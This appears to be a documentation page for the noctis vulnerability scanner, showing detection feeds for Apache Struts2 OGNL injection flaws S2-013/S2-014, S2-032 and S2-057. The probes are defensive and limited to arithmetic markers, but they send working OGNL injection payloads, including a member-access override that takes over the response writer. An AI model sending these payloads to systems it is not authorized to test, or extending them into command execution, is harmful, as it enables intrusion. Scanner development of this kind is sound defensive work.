      let e = rand_int(1013, 9973);
      let f = rand_int(1013, 9973);
      #{
        p1: "n" + rand_str(8), p2: "n" + rand_str(8),
        p3: "n" + rand_str(8), p4: "n" + rand_str(8),
        a: a, b: b, c: c, d: d, e: e, f: f,
        pct: a * b, dlr: c * d, marker: "NOCTIS" + (e * f)
      }
    store_as: og

  # ── Every step below runs once per candidate URL (loop group). Pre-init the
  # stored results: a failed request leaves store_as unset and the verify
  # script would abort the whole test.
  - id: init-arith-resp
    action: set_var
    var_name: arith_resp
    var_value: {status: 0, body: null}
    loop:
      over:
        - "/struts2-blank/example/HelloWorld.action"
        - "/example/HelloWorld.action"
        - "/index.action"
        - "/"
      var: s2013_path

  - id: init-exec-resp
    action: set_var
    var_name: exec_resp
    var_value: {status: 0, body: null}

  - id: init-state
    action: set_var
    var_name: s2013
    var_value: {pct: false, dlr: false, arith: false, exec: false}

  # ── Stage 1: benign arithmetic, `%{}` (S2-013) and `${}` (S2-014) ────────
  - id: ognl-arith
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{s2013_path}}?{{og.p1}}=%25%7B{{og.a}}*{{og.b}}%7D&{{og.p2}}=%24%7B{{og.c}}*{{og.d}}%7D"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: arith_resp

  - id: verify-arith
    action: script
    code: |
      let pct = false;
      let dlr = false;
      if type_of(arith_resp.body) == "string" {
        pct = arith_resp.body.contains(og.p1 + "=" + og.pct);
        dlr = arith_resp.body.contains(og.p2 + "=" + og.dlr);
      }
      #{ pct: pct, dlr: dlr, arith: pct || dlr, exec: false }
    store_as: s2013

  # ── Stage 2: println('NOCTIS'+(E*F)) on the response writer, both forms ──
  # Decoded: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']
  #   .getWriter().println('NOCTIS'+(E*F))}  (and the same with ${...}).
  - id: ognl-exec
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{s2013_path}}?{{og.p3}}=%25%7B%23context%5B%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%5D.getWriter%28%29.println%28%27NOCTIS%27%2B%28{{og.e}}*{{og.f}}%29%29%7D&{{og.p4}}=%24%7B%23context%5B%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%5D.getWriter%28%29.println%28%27NOCTIS%27%2B%28{{og.e}}*{{og.f}}%29%29%7D"
    condition: "s2013.arith"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: exec_resp

  - id: verify-exec
    action: script
    code: |
      let exec = false;
      if type_of(exec_resp.body) == "string" {
        exec = exec_resp.body.contains(og.marker);
      }
      #{ pct: s2013.pct, dlr: s2013.dlr, arith: s2013.arith, exec: exec }
    store_as: s2013

  # ── Report: Java code execution confirmed (QoD 97) ───────────────────────
  - id: report-exec
    action: match
    source: exec_resp.body
    pattern: "NOCTIS[0-9]+"
    condition: "s2013.exec"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts2 S2-013 / S2-014 includeParams OGNL Remote Code Execution (CVE-2013-1966, CVE-2013-2115)"
        description: >
          {{s2013_path}} copies request parameters into a link rendered with
          includeParams and evaluates them as OGNL. An injected expression
          called println on the servlet response writer and printed
          {{og.marker}}, a value computed by OGNL that was not in the request.
          This confirms unauthenticated Java code execution (S2-013 / S2-014).
          Upgrade Apache Struts to 2.3.14.2 or later.
        evidence: "Java code execution — GET {{s2013_path}} with println('NOCTIS'+({{og.e}}*{{og.f}})) in %{} and ${} query parameters; reply contained {{og.marker}} (HTTP {{exec_resp.status}})"
      stop: true

  # ── Report: OGNL evaluation only (QoD 75) ────────────────────────────────
  - id: report-arith
    action: match
    source: arith_resp.body
    pattern: "n[a-z0-9]{8}=[0-9]+"
    condition: "s2013.arith"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        title: "Apache Struts2 S2-013 / S2-014 includeParams OGNL Evaluation (CVE-2013-1966, CVE-2013-2115)"
        description: >
          {{s2013_path}} copies request parameters into a link rendered with
          includeParams and evaluated a benign OGNL arithmetic expression,
          rendering the computed product (`%{}` form evaluated: {{s2013.pct}},
          `${}` form evaluated: {{s2013.dlr}}). The follow-up method-call
          probe did not print its marker (blocked by a filter or a custom
          configuration), so code execution was not confirmed, but OGNL
          evaluation of request input is the S2-013 / S2-014 flaw. Upgrade
          Apache Struts to 2.3.14.2 or later.
        evidence: "OGNL evaluation — GET {{s2013_path}} with arithmetic {{og.a}}*{{og.b}} (%-form) and {{og.c}}*{{og.d}} ($-form); rendered {{og.p1}}={{og.pct}} ({{s2013.pct}}) / {{og.p2}}={{og.dlr}} ({{s2013.dlr}})"
      stop: true

Apache Struts2 S2-032 Dynamic Method Invocation OGNL Remote Code Execution

CVECVE-2016-3081
Severityhigh · CVSS 8.1
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2016-3081.yaml

Apache Struts 2.3.20 through 2.3.28 (except 2.3.20.3 and 2.3.24.3) with Dynamic Method Invocation enabled evaluate the value following a `method:` request parameter prefix as an OGNL expression (S2-032, CVE-2016-3081), allowing unauthenticated remote code execution. This check sends an S2-032 request to common Struts action URLs: an OGNL expression that resets the member access policy, grabs the servlet response writer and prints a random flag, the in-JVM sum of two random integers and the flag again. A vulnerable instance returns <flag><sum><flag>; a patched one ignores the `method:` prefix. The proof is arithmetic only — no OS command is run and nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: POST /index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,…
  3. Parses / computes the next value with a Rhai script
  4. Checks det_1.hit for ^true$ → finding QoD 97: Apache Struts2 S2-032 Dynamic Method Invocation OGNL Remote Code Execution (CVE-2016-3081)
  5. Raw TCP (TLS on HTTPS), sent verbatim: POST /login.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,…
  6. Parses / computes the next value with a Rhai script
  7. Checks det_2.hit for ^true$ → finding QoD 97: Apache Struts2 S2-032 Dynamic Method Invocation OGNL Remote Code Execution (CVE-2016-3081)
  8. Raw TCP (TLS on HTTPS), sent verbatim: POST /struts2-showcase/index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAU…
  9. Parses / computes the next value with a Rhai script
  10. Checks det_3.hit for ^true$ → finding QoD 97: Apache Struts2 S2-032 Dynamic Method Invocation OGNL Remote Code Execution (CVE-2016-3081)

References:

Feed source — tests/vulnerabilities/struts/CVE-2016-3081.yaml
# CVE-2016-3081 (Apache Struts2 S2-032) — OGNL injection through the
# Dynamic Method Invocation `method:` prefix. Active detection ported from
# OpenVAS/Greenbone NASL 2016/apache/gb_struts_s2-032_active.nasl
# (GPL-2.0-only, OID 1.3.6.1.4.1.25623.1.0.107007).
#
# When Dynamic Method Invocation is enabled, Struts 2.3.20 – 2.3.28 (except
# 2.3.20.3 / 2.3.24.3) evaluates the text after a `method:` request parameter
# as an OGNL expression. The NASL POSTs (empty body, payload in the query
# string) to an action URL:
#   <action>?method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#     #A=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#     #A.print(#parameters.B[0]),#A.print(new java.lang.Integer(X+Y)),
#     #A.print(#parameters.B[0]),#A.close(),1?#xx:#request.toString&B=<flag>
# A vulnerable instance writes <flag><X+Y><flag> to the response. The NASL
# confirms on HTTP 200 + that exact string.
#
# Benign proof (project rule): arithmetic collapse only. The expression adds
# two per-run random integers inside the JVM and prints the sum between two
# per-run random letter flags — no OS command, nothing written on the target.
# Because operands and flags change on every run, a hit cannot be a constant.
#
# Ported faithfully with tcp_connect: the `method:` prefix and the %23 / %28
# encoding must reach the server verbatim (reqwest would normalise them).
# The NASL tries every .action/.do URL discovered by the crawler; noctis has
# no crawler, so the three common Struts action paths named in the issue are
# tried in turn (/index.action, /login.action, /struts2-showcase/index.action).
# The first confirmed hit stops the run. QoD 97 — confirmed in-JVM OGNL
# evaluation of attacker input.
uid: 439274a2-4676-499f-8ae9-a94171fcdf71
name: "Apache Struts2 S2-032 Dynamic Method Invocation OGNL Remote Code Execution (CVE-2016-3081)"
description: |
  Apache Struts 2.3.20 through 2.3.28 (except 2.3.20.3 and 2.3.24.3) with Dynamic Method
  Invocation enabled evaluate the value following a `method:` request parameter prefix
  as an OGNL expression (S2-032, CVE-2016-3081), allowing unauthenticated remote code
  execution. This check sends an S2-032 request to common Struts action URLs: an OGNL
  expression that resets the member access policy, grabs the servlet response writer and
  prints a random flag, the in-JVM sum of two random integers and the flag again. A
  vulnerable instance returns <flag><sum><flag>; a patched one ignores the `method:`
  prefix. The proof is arithmetic only — no OS command is run and nothing is written on
  the target.
cves: [CVE-2016-3081]
cvss: 8.1
severity: high
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - ognl
  - dmi
  - rce
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-3081"
  - "https://cwiki.apache.org/confluence/display/WW/S2-032"
  - "OpenVAS/Greenbone NASL 2016/apache/gb_struts_s2-032_active.nasl (GPL-2.0-only)"

steps:
  # ── Per-run random values, mirroring the NASL: two 4-letter lowercase OGNL
  # variable names, two addends, and a 5-letter mixed-case flag. The flag is
  # letters only so it can never blend into the decimal sum next to it.
  - id: gen-values
    action: script
    store_as: rnd
    code: |
      let lower = "abcdefghijklmnopqrstuvwxyz";
      let mixed = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
      let va = "";
      let vb = "";
      let flag = "";
      for i in 0..4 {
        let p = rand_int(0, 25);
        va += substr(lower, p, p);
        let q = rand_int(0, 25);
        vb += substr(lower, q, q);
      }
      for i in 0..5 {
        let r = rand_int(0, 51);
        flag += substr(mixed, r, r);
      }
      let a = rand_int(1000, 9998);
      let b = rand_int(1000, 9998);
      #{
        va: "v" + va,
        vb: "p" + vb,
        a: a,
        b: b,
        flag: flag,
        expected: flag + (a + b) + flag
      }

  # ── Probe 1: /index.action ──
  - id: probe-root-index
    action: tcp_connect
    port: "{{port}}"
    send: "POST /index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23{{rnd.va}}%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23{{rnd.va}}.print%28%23parameters.{{rnd.vb}}%5b0%5d%29%2c%23{{rnd.va}}.print%28new%20java.lang.Integer%28{{rnd.a}}%2b{{rnd.b}}%29%29%2c%23{{rnd.va}}.print%28%23parameters.{{rnd.vb}}%5b0%5d%29%2c%23{{rnd.va}}.close%28%29,1%3f%23xx%3a%23request.toString&{{rnd.vb}}={{rnd.flag}} HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n"
    timeout_secs: 10
    store_as: resp_1

  # NASL check: status line is HTTP/1.x 200 and the body holds <flag><sum><flag>.
  - id: evaluate-root-index
    action: script
    store_as: det_1
    condition: "resp_1.connected == true"
    code: |
      let banner = if type_of(resp_1.banner) == "string" { resp_1.banner } else { "" };
      let ok200 = stridx(banner, "HTTP/1.1 200") == 0 || stridx(banner, "HTTP/1.0 200") == 0;
      #{ hit: ok200 && stridx(banner, rnd.expected) >= 0 }

  - id: detect-root-index
    action: match
    source: det_1.hit
    pattern: "^true$"
    condition: "resp_1.connected == true"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        title: "Apache Struts2 S2-032 Dynamic Method Invocation OGNL Remote Code Execution (CVE-2016-3081)"
        description: >
          The Struts2 action at /index.action evaluated an OGNL expression passed through
          the Dynamic Method Invocation `method:` prefix: it computed the sum of
          two random integers inside the JVM and printed it between two random
          flags on the servlet response writer. Server-side evaluation of
          attacker-controlled OGNL confirms S2-032 (CVE-2016-3081)
          unauthenticated remote code execution.
        evidence: "OGNL evaluated via DMI method: prefix on /index.action — sent new java.lang.Integer({{rnd.a}}+{{rnd.b}}) between flag {{rnd.flag}}, response contained {{rnd.expected}}"
      stop: true

  # ── Probe 2: /login.action ──
  - id: probe-login
    action: tcp_connect
    port: "{{port}}"
    send: "POST /login.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23{{rnd.va}}%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23{{rnd.va}}.print%28%23parameters.{{rnd.vb}}%5b0%5d%29%2c%23{{rnd.va}}.print%28new%20java.lang.Integer%28{{rnd.a}}%2b{{rnd.b}}%29%29%2c%23{{rnd.va}}.print%28%23parameters.{{rnd.vb}}%5b0%5d%29%2c%23{{rnd.va}}.close%28%29,1%3f%23xx%3a%23request.toString&{{rnd.vb}}={{rnd.flag}} HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n"
    timeout_secs: 10
    store_as: resp_2

  # NASL check: status line is HTTP/1.x 200 and the body holds <flag><sum><flag>.
  - id: evaluate-login
    action: script
    store_as: det_2
    condition: "resp_2.connected == true"
    code: |
      let banner = if type_of(resp_2.banner) == "string" { resp_2.banner } else { "" };
      let ok200 = stridx(banner, "HTTP/1.1 200") == 0 || stridx(banner, "HTTP/1.0 200") == 0;
      #{ hit: ok200 && stridx(banner, rnd.expected) >= 0 }

  - id: detect-login
    action: match
    source: det_2.hit
    pattern: "^true$"
    condition: "resp_2.connected == true"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        title: "Apache Struts2 S2-032 Dynamic Method Invocation OGNL Remote Code Execution (CVE-2016-3081)"
        description: >
          The Struts2 action at /login.action evaluated an OGNL expression passed through
          the Dynamic Method Invocation `method:` prefix: it computed the sum of
          two random integers inside the JVM and printed it between two random
          flags on the servlet response writer. Server-side evaluation of
          attacker-controlled OGNL confirms S2-032 (CVE-2016-3081)
          unauthenticated remote code execution.
        evidence: "OGNL evaluated via DMI method: prefix on /login.action — sent new java.lang.Integer({{rnd.a}}+{{rnd.b}}) between flag {{rnd.flag}}, response contained {{rnd.expected}}"
      stop: true

  # ── Probe 3: /struts2-showcase/index.action ──
  - id: probe-showcase-index
    action: tcp_connect
    port: "{{port}}"
    send: "POST /struts2-showcase/index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23{{rnd.va}}%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23{{rnd.va}}.print%28%23parameters.{{rnd.vb}}%5b0%5d%29%2c%23{{rnd.va}}.print%28new%20java.lang.Integer%28{{rnd.a}}%2b{{rnd.b}}%29%29%2c%23{{rnd.va}}.print%28%23parameters.{{rnd.vb}}%5b0%5d%29%2c%23{{rnd.va}}.close%28%29,1%3f%23xx%3a%23request.toString&{{rnd.vb}}={{rnd.flag}} HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n"
    timeout_secs: 10
    store_as: resp_3

  # NASL check: status line is HTTP/1.x 200 and the body holds <flag><sum><flag>.
  - id: evaluate-showcase-index
    action: script
    store_as: det_3
    condition: "resp_3.connected == true"
    code: |
      let banner = if type_of(resp_3.banner) == "string" { resp_3.banner } else { "" };
      let ok200 = stridx(banner, "HTTP/1.1 200") == 0 || stridx(banner, "HTTP/1.0 200") == 0;
      #{ hit: ok200 && stridx(banner, rnd.expected) >= 0 }

  - id: detect-showcase-index
    action: match
    source: det_3.hit
    pattern: "^true$"
    condition: "resp_3.connected == true"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        title: "Apache Struts2 S2-032 Dynamic Method Invocation OGNL Remote Code Execution (CVE-2016-3081)"
        description: >
          The Struts2 action at /struts2-showcase/index.action evaluated an OGNL expression passed through
          the Dynamic Method Invocation `method:` prefix: it computed the sum of
          two random integers inside the JVM and printed it between two random
          flags on the servlet response writer. Server-side evaluation of
          attacker-controlled OGNL confirms S2-032 (CVE-2016-3081)
          unauthenticated remote code execution.
        evidence: "OGNL evaluated via DMI method: prefix on /struts2-showcase/index.action — sent new java.lang.Integer({{rnd.a}}+{{rnd.b}}) between flag {{rnd.flag}}, response contained {{rnd.expected}}"
      stop: true

Apache Struts2 S2-057 OGNL namespace injection

CVECVE-2018-11776
Severityhigh · CVSS 8.1
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/struts/CVE-2018-11776.yaml

Tests Apache Struts2 for the S2-057 OGNL namespace injection. A benign OGNL arithmetic expression ${(A*B)} with random per-run operands is injected into the URL namespace of the showcase action chain. A vulnerable instance evaluates the arithmetic and returns a redirect whose Location reflects the computed product; the feed recomputes the product and compares, so a mock cannot pass with a hardcoded constant. No code execution is attempted.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET /struts2-showcase/${({{og.a}}*{{og.b}})}/actionChain1.action HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks resp.banner for (?si)^HTTP/1\.[01] 30[0-9]\b → finding QoD 75: S2-057 OGNL namespace injection: sent ${(…*…)} in the action-chain namespace; Struts evaluated it and reflected the computed product … in t…

References:

Feed source — tests/vulnerabilities/struts/CVE-2018-11776.yaml
# Apache Struts2 S2-057 OGNL namespace injection RCE — CVE-2018-11776
#
# When `alwaysSelectFullNamespace` is enabled (or a result/action uses a
# wildcard namespace) and the namespace is taken from the request URL without
# validation, Apache Struts2 evaluates the namespace as an OGNL expression.
# The classic PoC places the expression in the URL namespace segment, e.g.
#   GET /struts2-showcase/${(123+456)}/actionChain1.action
# and a vulnerable instance evaluates it, returning a 30x redirect whose
# Location reflects the computed value (here 579).
#
# SAFE DETECTION (arithmetic differential, NOT exploitation):
#   - Inject a BENIGN OGNL ARITHMETIC expression ${(A*B)} into the namespace,
#     with A and B random operands generated fresh per run (script step).
#   - A vulnerable Struts evaluates the arithmetic and reflects the computed
#     product A*B in the redirect Location path.
#   - A patched Struts does not evaluate it (literal path / 404 — no reflected
#     product).
#   - The feed recomputes A*B itself and matches the reflected value against
#     it (marker-swap safe: no fabricated constant; a mock must actually
#     evaluate the random operands to be detected).
#   - NO command execution, Runtime.exec, file read or write — arithmetic only,
#     purely to prove OGNL evaluation.
#
# The payload carries `$ { } ( ) *` in the URL path, which reqwest would
# normalise/encode before sending, so the probe is sent verbatim over
# tcp_connect in HTTP/1.0 and the match is on resp.banner.
uid: 0a024734-8c62-4b9a-b799-84d3fb99f254
name: "Apache Struts2 S2-057 OGNL namespace injection (CVE-2018-11776)"
description: |
  Tests Apache Struts2 for the S2-057 OGNL namespace injection. A benign OGNL
  arithmetic expression ${(A*B)} with random per-run operands is injected into
  the URL namespace of the showcase action chain. A vulnerable instance
  evaluates the arithmetic and returns a redirect whose Location reflects the
  computed product; the feed recomputes the product and compares, so a mock
  cannot pass with a hardcoded constant. No code execution is attempted.
cves: [CVE-2018-11776]
cvss: 8.1
severity: high
confidence_base: 0.30
category: rce
tags: [struts, apache, ognl, injection, s2-057, rce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-11776"
  - "https://cwiki.apache.org/confluence/display/WW/S2-057"
  - "https://semmle.com/news/apache-struts-CVE-2018-11776"

steps:
  # ── Generate fresh random operands and the expected product ──────────────
  # Random operands make the check marker-swap safe: a mock must actually
  # evaluate the arithmetic (it cannot reflect a constant the feed expects).
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(11, 97);
      let b = rand_int(11, 97);
      #{ a: a, b: b, product: a * b }
    store_as: og

  # ── OGNL namespace-injection probe: ${(A*B)} in the action-chain path ────
  # Verbatim HTTP/1.0 over tcp_connect so the $ { } ( ) * survive unencoded
  # (reqwest would normalise them). Only a vulnerable Struts evaluates the
  # namespace OGNL and redirects to the computed value.
  - id: ognl-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /struts2-showcase/${({{og.a}}*{{og.b}})}/actionChain1.action HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # ── Verify the reflected value equals OUR computed product ───────────────
  # Extract the first number that follows a slash in the Location header and
  # compare it to the product we computed. Guarded against a missing/non-string
  # banner (connection failure). Returns the boolean used to gate the finding.
  - id: verify-reflection
    action: script
    code: |
      let evaluated = false;
      if type_of(resp.banner) == "string" {
        let m = eregmatch("(?i)location:[^\\r\\n]*?/([0-9]+)", resp.banner);
        if m.len() >= 2 {
          if int(m[1]) == og.product {
            evaluated = true;
          }
        }
      }
      evaluated
    store_as: ognl_evaluated

  # ── Report — only when the reflected value matched our product ───────────
  # Step-level condition gates the whole step on the verified reflection, so a
  # patched target (no evaluation) produces no finding.
  - id: report
    action: match
    source: resp.banner
    pattern: "(?si)^HTTP/1\\.[01] 30[0-9]\\b"
    condition: "ognl_evaluated"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "S2-057 OGNL namespace injection: sent ${({{og.a}}*{{og.b}})} in the action-chain namespace; Struts evaluated it and reflected the computed product {{og.product}} in the redirect Location: {{resp.banner}}"
      stop: true

View these feeds on GitHub